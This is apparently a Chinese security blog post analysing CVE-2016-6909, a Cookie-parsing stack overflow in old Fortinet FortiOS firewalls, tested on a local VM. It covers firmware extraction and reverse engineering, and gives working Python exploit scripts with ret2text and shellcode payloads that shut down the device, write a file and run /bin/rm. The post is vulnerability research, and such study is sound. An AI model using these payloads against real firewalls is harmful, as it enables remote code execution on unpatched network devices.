本文最后更新于:2023年8月13日 晚上
彁我着🔥了.jpg
特别特别特别特别*N….简单的一个洞,本来应该一天就弄好的,愣是因为各种玄学问题在公司拗了半周….
还是因为太菜了(恼)
0x00.一切开始之前 Fortigate 系列是 Fortinet(飞塔)公司旗下的防火墙产品之一,2016年,Shadow Brokers公开了黑客组织Equation Group 针对各大厂商防火墙的漏洞利用工具 ,存在于 Fortigate 中的一个隐蔽的栈溢出漏洞也就此被大白于天下
在 cve.mitre.org 上对该漏洞的说明如下:
Buffer overflow in the Cookie parser in Fortinet FortiOS 4.x before 4.1.11, 4.2.x before 4.2.13, and 4.3.x before 4.3.9 and FortiSwitch before 3.4.3 allows remote attackers to execute arbitrary code via a crafted HTTP request, aka EGREGIOUSBLUNDER.
笔者今天将借助受影响的一个虚拟机版本 FGT_VM-v400-build0482 来分析该漏洞
漏洞影响版本 Fortinet FortiOS 4.x < 4.1.11, 4.2.x < 4.2.13, 4.3.x < 4.3.9、FortiSwitch < 3.4.3
登入 fortigate VM 默认账户是 admin
,无密码,可以用于本地测试
通常情况下防火墙不会给我们提供 shell,而是仅 提供一个简易 CLI 界面,在上面我们只能使用其所内置提供的几个功能
后门指令 仅靠防火墙的功能基本上不算是一个可用的操作系统,因此 fortigate VM CLI 提供给我们一个隐藏指令 fnsysctl
以执行其限制的诸如 ls
等的一些基本命令,不包括 shell
后续通过逆向分析我们可以发现其程序本身限制了过滤 sh,因此我们无法通过 CLI 直接拿到一个 shell
0x01.漏洞分析 文件提取 首先将硬盘镜像 fortios.vmdk
挂载到 /mnt
目录下:
1 2 3 4 5 6 7 8 $ sudo fdisk -l ... Device Boot Start End Sectors Size Id Type /dev/sdb1 * 1 262144 262144 128M 83 Linux /dev/sdb2 262145 4194304 3932160 1.9G 83 Linux ...$ sudo mkdir /mnt/fortios $ sudo mount /dev/sdb1 /mnt/fortios
之后我们便能够在 /mnt
目录下查看磁盘中的文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ cd /mnt/fortios$ ll total 23392 drwxr-xr-x 3 root root 1024 Sep 20 2011 ./ drwxr-xr-x 5 root root 4096 Aug 10 18:43 ../ -rw-r--r-- 1 root root 5182591 Sep 20 2011 datafs.tar.gz -rw-r--r-- 1 root root 107 Sep 20 2011 extlinux.conf lrwxrwxrwx 1 root root 12 Sep 20 2011 flatkc -> ./flatkc.smp -rw-r--r-- 1 root root 256 Sep 20 2011 flatkc.chk -rw-r--r-- 1 root root 1437300 Sep 20 2011 flatkc.nosmp -rw-r--r-- 1 root root 1501003 Sep 20 2011 flatkc.smp -r--r--r-- 1 root root 32256 Sep 20 2011 ldlinux.sys drwx------ 2 root root 12288 Sep 20 2011 lost+found/ -rw-r--r-- 1 root root 15678360 Sep 20 2011 rootfs.gz -rw-r--r-- 1 root root 256 Sep 20 2011 rootfs.gz.chk
也可以通过如下方式直接挂载镜像文件:
1 2 3 $ sudo modprobe nbd $ sudo qemu-nbd -r -c /dev/nbd1 ./fortios.vmdk $ sudo mount /dev/nbd1p1 /mnt
查看文件类型,我们可以发现两个内核镜像文件 flatkc.smp
与 flatkc.nosmp
:
1 2 3 4 5 6 7 8 9 10 11 $ file * datafs.tar.gz: gzip compressed data, last modified: Tue Sep 20 20:17:56 2011, from Unix, original size modulo 2^32 8724480 extlinux.conf: ASCII text flatkc: symbolic link to ./flatkc.smp flatkc.chk: data flatkc.nosmp: Linux kernel x86 boot executable bzImage, version 2.4.25 (root@build170) #2 Tue Sep 20 12:46:19 PDT 2011, RO-rootFS, Normal VGA flatkc.smp: Linux kernel x86 boot executable bzImage, version 2.4.25 (root@build170) #3 Tue Sep 20 12:49:39 PDT 2011, RO-rootFS, Normal VGA ldlinux.sys: SYSLINUX loader (version 4.00) lost+found: directory rootfs.gz: gzip compressed data, last modified: Tue Sep 20 20:17:52 2011, from Unix, original size modulo 2^32 19077120 rootfs.gz.chk: data
在 extlinux.conf
中指定了一些基本配置,包括文件系统 rootfs.gz
:
1 2 $ cat extlinux.conf DEFAULT flatkc ro panic=5 endbase=0xA0000 console=tty0 root=/dev/ram0 ramdisk_size=65536 initrd=/rootfs.gz
解压 rootfs.gz
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $ tar xf ./rootfs.gz $ ll total 28216 drwxr-xr-x 10 arttnba3 arttnba3 4096 Sep 20 2011 ./ drwxr-xr-x 5 arttnba3 arttnba3 4096 Aug 10 18:52 ../ -rw-r--r-- 1 arttnba3 arttnba3 8742988 Sep 20 2011 bin.tar.xz drwxr-xr-x 2 arttnba3 arttnba3 4096 Sep 20 2011 data/ drwxr-xr-x 2 arttnba3 arttnba3 4096 Sep 20 2011 data2/ drwxr-xr-x 5 arttnba3 arttnba3 4096 Sep 20 2011 dev/ lrwxrwxrwx 1 arttnba3 arttnba3 8 Sep 20 2011 etc -> data/etc lrwxrwxrwx 1 arttnba3 arttnba3 1 Sep 20 2011 fortidev -> // drwxr-xr-x 2 arttnba3 arttnba3 4096 Sep 20 2011 lib/ -rw-r--r-- 1 arttnba3 arttnba3 4424536 Sep 20 2011 migadmin.tar.xz drwxr-xr-x 2 arttnba3 arttnba3 4096 Sep 20 2011 proc/ -rw-r--r-- 1 arttnba3 arttnba3 15678360 Aug 10 18:54 rootfs.gz drwxr-xr-x 2 arttnba3 arttnba3 4096 Sep 20 2011 sbin/ drwxr-xr-x 2 arttnba3 arttnba3 4096 Sep 20 2011 tmp/ drwxr-xr-x 8 arttnba3 arttnba3 4096 Sep 20 2011 var/
启动过程分析 I. init 进程 Linux 内核载入后会启动第一个进程 init
,程序二进制文件通常是 /sbin/init
,该文件系统中的 init 文件较小,故我们可以直接将其拖入 IDA 进行分析:
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl main () { char *argv[2 ]; if ( (int )sub_8049254("bin" ) >= 0 ) sub_8049254("migadmin" ); unlink("/sbin/xz" ); unlink("/sbin/ftar" ); argv[0 ] = "/bin/init" ; argv[1 ] = 0 ; execve("/bin/init" , argv, 0 ); return 0 ; }
其中 sub_8049254()
核心逆向结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 int __cdecl sub_8049254 (const char *a1) { snprintf (s, 0x200 u, "/%s.tar.xz" , a1); v1 = fork(); if ( v1 ) { if ( v1 > 0 ) { waitpid(v1, &stat_loc, 0 ); if ( BYTE1(stat_loc) ) goto LABEL_21; unlink(s); } } else { argv[0 ] = "/sbin/xz" ; argv[1 ] = "--check=sha256" ; argv[2 ] = "-d" ; argv[3 ] = s; argv[4 ] = 0 ; execv("/sbin/xz" , argv); } snprintf (name, 0x200 u, "/%s.tar" , a1); v3 = fork(); if ( v3 ) { if ( v3 <= 0 ) return 0 ; waitpid(v3, &v10, 0 ); if ( !BYTE1(v10) ) { unlink(name); return 0 ; } LABEL_21: puts ("decompress init failed" ); return -1 ; } v12[0 ] = "/sbin/ftar" ; v12[1 ] = "-xf" ; v12[2 ] = name; v12[3 ] = 0 ; execv("/sbin/ftar" , v12); return 0 ; }
故 init 进程分析如下:
检查 /bin.tar.xz
是否存在,若是则创建子进程执行 /sbin/xz --check=sha256 -d /bin.tar.xz
,父进程等待子进程结束后删除/bin.tar.xz
,之后检查 /bin.tar
是否存在,若是则创建子进程执行 /sbin/ftar -xf /bin.tar
,父进程等待子进程结束后删除/bin.tar
上一步成功后检查 /migadmin.tar.xz
是否存在,若是则创建子进程执行 /sbin/xz --check=sha256 -d /migadmin.tar.xz
,父进程等待子进程结束后删除/migadmin.tar.xz
,之后检查 /migadmin.tar
是否存在,若是则创建子进程执行 /sbin/ftar -xf /migadmin.tar
,父进程等待子进程结束后删除/migadmin.tar
删除 /sbin/xz
删除 /sbin/ftar
执行 /bin/init
由于 ftar
与 xz
都指定了调用的库的目录如下:
故需要通过切换根目录执行进行解压:
1 2 3 4 $ sudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xz $ sudo chroot . /sbin/ftar -xf /bin.tar $ sudo chroot . /sbin/xz --check=sha256 -d /migadmin.tar.xz $ sudo chroot . /sbin/ftar -xf /migadmin.tar
II. bin 目录文件分析 我们可以看到的是,bin.tar.xz
解压出来的文件基本上都是指向 /bin/init
与 /bin/sysctl
的软链接
其中诸如 httpsd
等网络服务都是前者的软链接,可知前者应当为该防火墙提供的基本的网络服务
而诸如 chmod
等常用命令都是后者的软链接,可知后者应当为类似 busybox 一样的工具库,不过更为精简
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ ll total 31200 drwxr-xr-x 2 root root 4096 Aug 10 19:35 ./ drwxr-xr-x 12 arttnba3 arttnba3 4096 Aug 10 19:37 ../ lrwxrwxrwx 1 root root 9 Aug 10 19:35 adsl_mon -> /bin/init lrwxrwxrwx 1 root root 9 Aug 10 19:35 alarmd -> /bin/init lrwxrwxrwx 1 root root 9 Aug 10 19:35 alertmail -> /bin/init lrwxrwxrwx 1 root root 9 Aug 10 19:35 authd -> /bin/init lrwxrwxrwx 1 root root 9 Aug 10 19:35 bgpd -> /bin/init lrwxrwxrwx 1 root root 9 Aug 10 19:35 cardctl -> /bin/init lrwxrwxrwx 1 root root 9 Aug 10 19:35 cardmgr -> /bin/init lrwxrwxrwx 1 root root 11 Aug 10 19:35 cat -> /bin/sysctl lrwxrwxrwx 1 root root 9 Aug 10 19:35 cauploadd -> /bin/init lrwxrwxrwx 1 root root 9 Aug 10 19:35 chassis5000d -> /bin/init lrwxrwxrwx 1 root root 9 Aug 10 19:35 chassisd -> /bin/init lrwxrwxrwx 1 root root 9 Aug 10 19:35 chat -> /bin/init lrwxrwxrwx 1 root root 9 Aug 10 19:35 chlbd -> /bin/init lrwxrwxrwx 1 root root 11 Aug 10 19:35 chmod -> /bin/sysctl ...
III. /bin/init 逆向分析 拖入 IDA 进行分析:
首先会执行 /bin/initXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
替换自身,该文件其实是 /bin/init
的软链接,故这里本质上只是更改了 pid 与 argv[0]
随后会关闭三个标准文件描述符并改变当前工作目录为 /
,打开 /dev/null
并创建三个指向其的文件描述符(0、1、2)
笔者后续曾经一度认为利用失败就是因为没有注意到输入输出被重定向至 null 而无法在屏幕上打印出任何信息
启动后的界面如下:
poc 首先为我们的虚拟机配置一个本地 ip
接下来我们还需要获取到一个 cookie num:
1 2 $ curl -X HEAD -v http://192.168.116.100/login 2>&1 | grep 'APSCOOKIE' < Set-Cookie: APSCOOKIE_3943997904=0&0; path=/; expires=Tue, 24-Aug-1971 18:40:48 GMT
之后使用 egregiousblunder
测试该漏洞,如下:
1 2 3 4 5 6 7 8 $ ./egregiousblunder_3.0.0.1 -t 192.168.116.100 -p 80 -l 4444 --ssl 0 --nope --gen 4nc --config EGBL.config --cookienum 3943997904 --stack 0xbffff114 loading nopen over HTTP using stack addr 0xbffff114 built authhash len 116 built enc_authhash with len 116 problem recv'ing ack1/hello, stack address probably wrong. WAM might work? problem with sending file failure loading nopen over HTTP
此时在 fortigate 的 CLI 中我们便可以看到 httpsd 服务的崩溃信息及栈回溯
但是这里没能够成功获得一个 shell,初步猜测是 EGREGIOUSBLUNDER 的版本问题
使用 wireshark 截取 EGREGIOUSBLUNDER 所发送的数据包进行分析,我们可以发现 0xbffff114
这个地址被布置到了http请求头的 Cookie 中的 AuthHash
字段,初步推测这应当是作为一个返回地址被布置上去的,说明可能是一个栈溢出漏洞,这也与 CVE 通告所说的【cookie 解析过程中发生缓冲区溢出】相吻合
使用 postman 简单仿造该 http 请求如下,使用字符 A
简单填充 AuthHash 字段:
当我们的字符 A 数量达到 0x60 时再一次发生了 crash,不过这一次的栈回溯更为详细
为了方便构造 payload 进行利用,接下来笔者选择使用 python 发送 http 请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from requests import * url = 'http://192.168.116.100/index' headers = { 'Content-Type' :'application/json' , 'Content-Length' :'12' , 'Accept' :'*/*' , 'Accept-Encoding' :'gzip,deflate,br' , 'User-Agent' :'PostmanRuntime/7.28.3' , 'Host' :'192.168.116.100' , 'Cookie' :'APSCOOKIE_3943997904=Era=0&Payload=ëYÿáèøÿÿÿPQRSTUVWQYjwGX4wHRPQPKj7Kj0Uj04n4vPa4K0D9OkD9Sm0D1AAKuGZt7rSSmZERAhlTFSNGzZXMbmktNW2nVOgG6Q7pzQcU2tcfN4Vxyxe9Gd9fbWWiR9imxw4DGv4Dz8BGf8lvKEyWb23teYizcaqrtSkyQulgX9UNIqkFFjg3HLkDsXMa92OhMt2mv1jnVn35Bo/CCcE+OA0j0V7vrRCnd0j2nzJkBavgWsg0qXdZOsEwU+mTEZvNi/6hC++Grg1ELLQgIF+uOLt3/60eJSpW3Nifa9b0lqzqTdZvJ+O3Fazgx8Wy+VeLj3EOW5n16UDHO0hecRR6CDEKMrZfKPrAW5EYTN3+711oO/Gf7gtT+S8lHyb1BucRUy+78on3PBNkJyCYz5YoP1z09BbvM8EPqz2NH8Fppto6+R6RL1RIlZRknQ2aojz5N3+7c2oc5ie9QPbiuHTZn+B3fUZnsiq2im8E/iJ1Dbe2kdQRXQDi6LJDAAO1zCWOBWIu9Z055WlAH83TiG7vD+NpLuu+OISQa0AHWdOJCRUNsbyU0ePqk9jrAGvGyT+B3fUZdGG0Q9PXB+xPdLDE/hJcDjrNZ5Dj5TfXbJlEhYzCbnOT87Xb3q1INbJSly+TUHj3NALlZovd+SPweRnEK+xf8qQpF7TkR5LwzHeNBJqBrhG5qBTUe1InfJSlp+ZsyrOc5ie9QPo1Z9+t4T+S8lHyf7wUVzzL/wAtzGNAKDMmvhSb+Mxi1Aa6RDjU3BzT+7i5hR77ns3DjCqsqThjVwSEqF5a2as3W7CqkTfXbMlEQ0yXjZrD5czPJNUFgEtp8A0p1soM1MUNWPiEHj5+iYl/ktF3u003rzEt+2wfLbQFLRihfLpV2F0Vti2/UaQA36quN6qL29Z+zKV+n/httOxXBySrPBYhJycx/Hd6DwY+RSHHukUjZMLZcTHvUTEIHw52Jal8myVcRaF0i/EXj7SNojyG20ffinV+/httpFTgtDBYPBYhJyccNzdfu0q8YxVFrV+bin/hV+ttpsdPBYhJyc++yWYL4p1NriVUVG/V8+DzDrTH2aTEcJq8Xw+1+rp44%0a&AuthHash=' + 'A' * 0x60 } r = post(url, headers = headers)print (r.text)print (r.headers)
定位溢出点
由于一些特殊原因,笔者本地无法直接启动其 init 程序
笔者本想将 gdb 等打包进其文件系统中直接在虚拟机内进行调试,奈何文件系统实在太老,重打包后没有一次启动成功的,只好作罢…
我们首先根据这个报错信息进行栈回溯:
1 2 3 4 5 .text:08C38A77 call sub_8C389B7 .text:08C38A7C mov ebx, [ebp+var_4] .text:08C38A7F leave .text:08C38A80 retn .text:08C38A80 sub_8C38A61 endp
找到 sub_8C389B7()
函数,我们发现其最终会调用 sub_8C38440()
函数,简单分析我们不难知道该调用链仅仅是用于打印报错信息
继续分析其调用链,libc offset 0x1d218 处代码如下,该段代码位于 libc 中函数 __libc_sigaction()
,用以进行 sigreturn
系统调用:
1 2 3 4 5 6 7 8 .text:0001D210 loc_1D210: ; DATA XREF: __libc_sigaction+CA↓o .text:0001D210 mov eax, 0ADh .text:0001D215 int 80h ; LINUX - sys_rt_sigreturn .text:0001D217 nop .text:0001D218 loc_1D218: ; DATA XREF: __libc_sigaction+D9↓o .text:0001D218 pop eax .text:0001D219 mov eax, 77h ; 'w' .text:0001D21E int 80h ; LINUX - sys_sigreturn
继续回溯,0x8204F8D
的上一条指令调用了 sub_820483B()
函数,通过逆向我们发现该函数会调用 sub_820429D()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int __cdecl sub_820429D (int *a1, _BYTE *a2) { const char *v2; const char *v3; int **v4; int *v5; int v6; void *v7; void *v8; int v10; char *v11[4 ]; v10 = sub_83297EE(*a1, 1 , 4 ); if ( a2 || (a2 = (_BYTE *)sub_8329B12(a1[34 ], "Cookie" )) != 0 ) { while ( *a2 ) { v11[0 ] = (char *)sub_8344CBA(*a1, &a2, 59 ); if ( !v11[0 ] ) break ; while ( ((*__ctype_b_loc())[(unsigned __int8)*a2] & 0x2000 ) != 0 ) ++a2; v2 = (const char *)sub_8344CBA(*a1, v11, 61 ); v3 = (const char *)sub_8204B9C(a1); if ( strstr (v2, v3) ) sub_820CB5E(v11[0 ]); ...
其中 sub_8329B12()
函数调用了 strcasecmp()
,大致分析应当是判断字符串存在性的函数,在这里传入的参数中包含字符串 "Cookie"
,那么我们大致可以推测该函数应当是 httpsd (即本进程)中被用以处理 Cookie 相关的函数之一
局部变量 v3 的求解涉及到函数 sub_8204B9C()
,如下:
1 2 3 4 5 6 7 8 9 10 11 int __cdecl sub_8204B9C (_DWORD *a1) { int v1; int v2; v1 = 0 ; if ( nCfg_debug_zone ) v1 = nCfg_debug_zone + 45972 ; v2 = sub_8204B37(v1); return sub_8329797(*a1, (int )"%s_%lu" , "APSCOOKIE" , v2); }
我们不难发现其最后调用的 sub_8329797()
传参形式应当是按格式化字符串进行解析,最终拼凑出来的形式应当如 APSCOOKIE_114514
(示例数字)的形式,而上层调用中使用 strstr()
判断 v3 在 v2 中是否存在,这个形式我们与我们传入的 Cookie 的内容开头相吻合,由此我们可以推断出接下来的 sub_820CB5E()
函数应当涉及到对 Cookie 的解析工作
接下来继续分析 sub_820CB5E()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl sub_820CB5E (char *a1) { char s[108 ]; size = 1 ; if ( a1 ) size = strlen (a1) + 1 ; src = 0 ; memset (s, 0 , 0x52 u); v16 = 20 ; memset (v21, 0 , sizeof (v21)); ptr = 0 ; v7 = -1 ; if ( a1 ) { sub_820C6F0(); if ( sscanf (a1, "Era=%1d&Payload=%[^&]&AuthHash=%s" , &v17, v21, s) == 3 ) { ...
做 pwn 的同学应该第一眼就能够看到一个大大的 %s 映入你的眼帘,十分明显的一个栈溢出 ,我们的漏洞便位于这个位置:对 Cookie 内容的解析使用了不安全的 %s
读取 AuthHash 到栈上从而使得其存在栈溢出漏洞
这个年代还有针对 %s
的漏洞属实令人泪目
0x02.漏洞利用 httpsd 为对 init 的软链接,首先我们先对 init 程序进行安全检查:
1 2 3 4 5 6 7 8 9 $ checksec ./init [*] '/home/arttnba3/Desktop/cves/CVE-2016-6909/exploit/init' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments RPATH: b'../lib:../ulib:/fortidev/lib:/lib'
保 护 全 关 ,我们有相当大的操作空间
ret2text 由于其与传统 pwn 题的交互界面不同,我们只有一次 post 的机会,所以需要在这一次 post 中一 步 到 位 ,相应地,虽然我们无法通过交互获取 libc,但是在 init 文件中有着大量的 gadget,又没开 PIE,故直接 ret2text 即可
先试一下我们是否真的能直接控制程序执行流,随便找一段 gadget 简单试一下,笔者这里选用了一段关机代码
1 2 .text:080601AE push 4321FEDCh ; howto .text:080601B3 call _reboot
reboot(RB_POWER_OFF)
http 请求头的长度毫无疑问能够满足我们对 payload 的要求,故笔者这里直接使用大量的 ret
指令作为 slide code,省去计算溢出长度的必要:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from requests import *from pwn import * url = 'http://192.168.116.100/index' headers = { 'Content-Type' :'application/json' , 'Content-Length' :'12' , 'Accept' :'*/*' , 'Accept-Encoding' :'gzip,deflate,br' , 'User-Agent' :'PostmanRuntime/7.28.3' , 'Host' :'192.168.116.100' , 'Cookie' :'APSCOOKIE_3943997904=Era=0&Payload=ëYÿáèøÿÿÿPQRSTUVWQYjwGX4wHRPQPKj7Kj0Uj04n4vPa4K0D9OkD9Sm0D1AAKuGZt7rSSmZERAhlTFSNGzZXMbmktNW2nVOgG6Q7pzQcU2tcfN4Vxyxe9Gd9fbWWiR9imxw4DGv4Dz8BGf8lvKEyWb23teYizcaqrtSkyQulgX9UNIqkFFjg3HLkDsXMa92OhMt2mv1jnVn35Bo/CCcE+OA0j0V7vrRCnd0j2nzJkBavgWsg0qXdZOsEwU+mTEZvNi/6hC++Grg1ELLQgIF+uOLt3/60eJSpW3Nifa9b0lqzqTdZvJ+O3Fazgx8Wy+VeLj3EOW5n16UDHO0hecRR6CDEKMrZfKPrAW5EYTN3+711oO/Gf7gtT+S8lHyb1BucRUy+78on3PBNkJyCYz5YoP1z09BbvM8EPqz2NH8Fppto6+R6RL1RIlZRknQ2aojz5N3+7c2oc5ie9QPbiuHTZn+B3fUZnsiq2im8E/iJ1Dbe2kdQRXQDi6LJDAAO1zCWOBWIu9Z055WlAH83TiG7vD+NpLuu+OISQa0AHWdOJCRUNsbyU0ePqk9jrAGvGyT+B3fUZdGG0Q9PXB+xPdLDE/hJcDjrNZ5Dj5TfXbJlEhYzCbnOT87Xb3q1INbJSly+TUHj3NALlZovd+SPweRnEK+xf8qQpF7TkR5LwzHeNBJqBrhG5qBTUe1InfJSlp+ZsyrOc5ie9QPo1Z9+t4T+S8lHyf7wUVzzL/wAtzGNAKDMmvhSb+Mxi1Aa6RDjU3BzT+7i5hR77ns3DjCqsqThjVwSEqF5a2as3W7CqkTfXbMlEQ0yXjZrD5czPJNUFgEtp8A0p1soM1MUNWPiEHj5+iYl/ktF3u003rzEt+2wfLbQFLRihfLpV2F0Vti2/UaQA36quN6qL29Z+zKV+n/httOxXBySrPBYhJycx/Hd6DwY+RSHHukUjZMLZcTHvUTEIHw52Jal8myVcRaF0i/EXj7SNojyG20ffinV+/httpFTgtDBYPBYhJyccNzdfu0q8YxVFrV+bin/hV+ttpsdPBYhJyc++yWYL4p1NriVUVG/V8+DzDrTH2aTEcJq8Xw+1+rp44%0a&AuthHash=' + '\x1c\x8d\x04\x08' * 100 + '\xae\x01\x06\x08' } r = post(url, headers = headers)print (r.text)print (r.headers)
可以发现 fortigate VM 被成功关机:
好像没啥意义的截图()
ret2shellcode ROP链的拼接较为繁琐,且对于 %s
而言空白字符无法被捕获 ,由于没有开启 NX 保护,我们可以考虑通过jmp esp
的 gadget 来直接执行 shellcode
当然,有的功能其实还是可以直接使用 init 文件中存在的函数的,比如说 open 和 write
下面这段代码调用了 open 进行了文件的创建并向文件内写入了字符串 arttnba3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from requests import *from pwn import * context.arch = 'i386' url = 'http://192.168.116.100/index' cookie = '' cookie += 'APSCOOKIE_3943997904=Era=0&Payload=ëYÿáèøÿÿÿPQRSTUVWQYjwGX4wHRPQPKj7Kj0Uj04n4vPa4K0D9OkD9Sm0D1AAKuGZt7rSSmZERAhlTFSNGzZXMbmktNW2nVOgG6Q7pzQcU2tcfN4Vxyxe9Gd9fbWWiR9imxw4DGv4Dz8BGf8lvKEyWb23teYizcaqrtSkyQulgX9UNIqkFFjg3HLkDsXMa92OhMt2mv1jnVn35Bo/CCcE+OA0j0V7vrRCnd0j2nzJkBavgWsg0qXdZOsEwU+mTEZvNi/6hC++Grg1ELLQgIF+uOLt3/60eJSpW3Nifa9b0lqzqTdZvJ+O3Fazgx8Wy+VeLj3EOW5n16UDHO0hecRR6CDEKMrZfKPrAW5EYTN3+711oO/Gf7gtT+S8lHyb1BucRUy+78on3PBNkJyCYz5YoP1z09BbvM8EPqz2NH8Fppto6+R6RL1RIlZRknQ2aojz5N3+7c2oc5ie9QPbiuHTZn+B3fUZnsiq2im8E/iJ1Dbe2kdQRXQDi6LJDAAO1zCWOBWIu9Z055WlAH83TiG7vD+NpLuu+OISQa0AHWdOJCRUNsbyU0ePqk9jrAGvGyT+B3fUZdGG0Q9PXB+xPdLDE/hJcDjrNZ5Dj5TfXbJlEhYzCbnOT87Xb3q1INbJSly+TUHj3NALlZovd+SPweRnEK+xf8qQpF7TkR5LwzHeNBJqBrhG5qBTUe1InfJSlp+ZsyrOc5ie9QPo1Z9+t4T+S8lHyf7wUVzzL/wAtzGNAKDMmvhSb+Mxi1Aa6RDjU3BzT+7i5hR77ns3DjCqsqThjVwSEqF5a2as3W7CqkTfXbMlEQ0yXjZrD5czPJNUFgEtp8A0p1soM1MUNWPiEHj5+iYl/ktF3u003rzEt+2wfLbQFLRihfLpV2F0Vti2/UaQA36quN6qL29Z+zKV+n/httOxXBySrPBYhJycx/Hd6DwY+RSHHukUjZMLZcTHvUTEIHw52Jal8myVcRaF0i/EXj7SNojyG20ffinV+/httpFTgtDBYPBYhJyccNzdfu0q8YxVFrV+bin/hV+ttpsdPBYhJyc++yWYL4p1NriVUVG/V8+DzDrTH2aTEcJq8Xw+1+rp44%0a&AuthHash=' cookie += '\x1c\x8d\x04\x08' * 100 cookie += '\xf7\xbd\x96\x08' cookie += '\x90' * 0x80 cookie += '1\xc0PhflagTXjBP\xbb$\xe3\x05\x08\xff\xd31\xc9Qhnba3harttT[j\x08SP\xbb\x84\xb5\x05\x08\xff\xd3' headers = { 'Content-Type' :'application/json' , 'Content-Length' :'12' , 'Accept' :'*/*' , 'Accept-Encoding' :'gzip,deflate,br' , 'User-Agent' :'PostmanRuntime/7.28.3' , 'Host' :'192.168.116.100' , 'Cookie' :cookie } r = post(url, headers = headers)print (r.text)print (r.headers)
发送 http 请求,我们成功地在防火墙内创建文件并写入特定内容
下列 shellcode 通过系统调用 execve 调用 /bin/rm
删除我们的 flag
1 2 3 ... cookie += '1\xc0Ph//rmh/binT[PhflagTYPQSTY\x89\xc2@@@@@@@@@@@\xcd\x80' ...
发送 http 请求,可以看到 flag 文件已被删除
接下来我们便可以使用自己构造的 shellcode 为所欲为了,网上也有很多 shellcode 生成工具,这里笔者便不再独立贴出其他 shellcode 了
0x03.What’s more… 安全产品是为了确保安全而引入的,但安全产品又会有新的安全问题,这个时候又要引入新的安全产品来确保安全产品的安全,然后便是无限套娃…
笔者认为,「安全问题本质上还是人的问题」 ,只有我们每一位开发者都真正重视起安全问题,很多没有必要的损失才能得以避免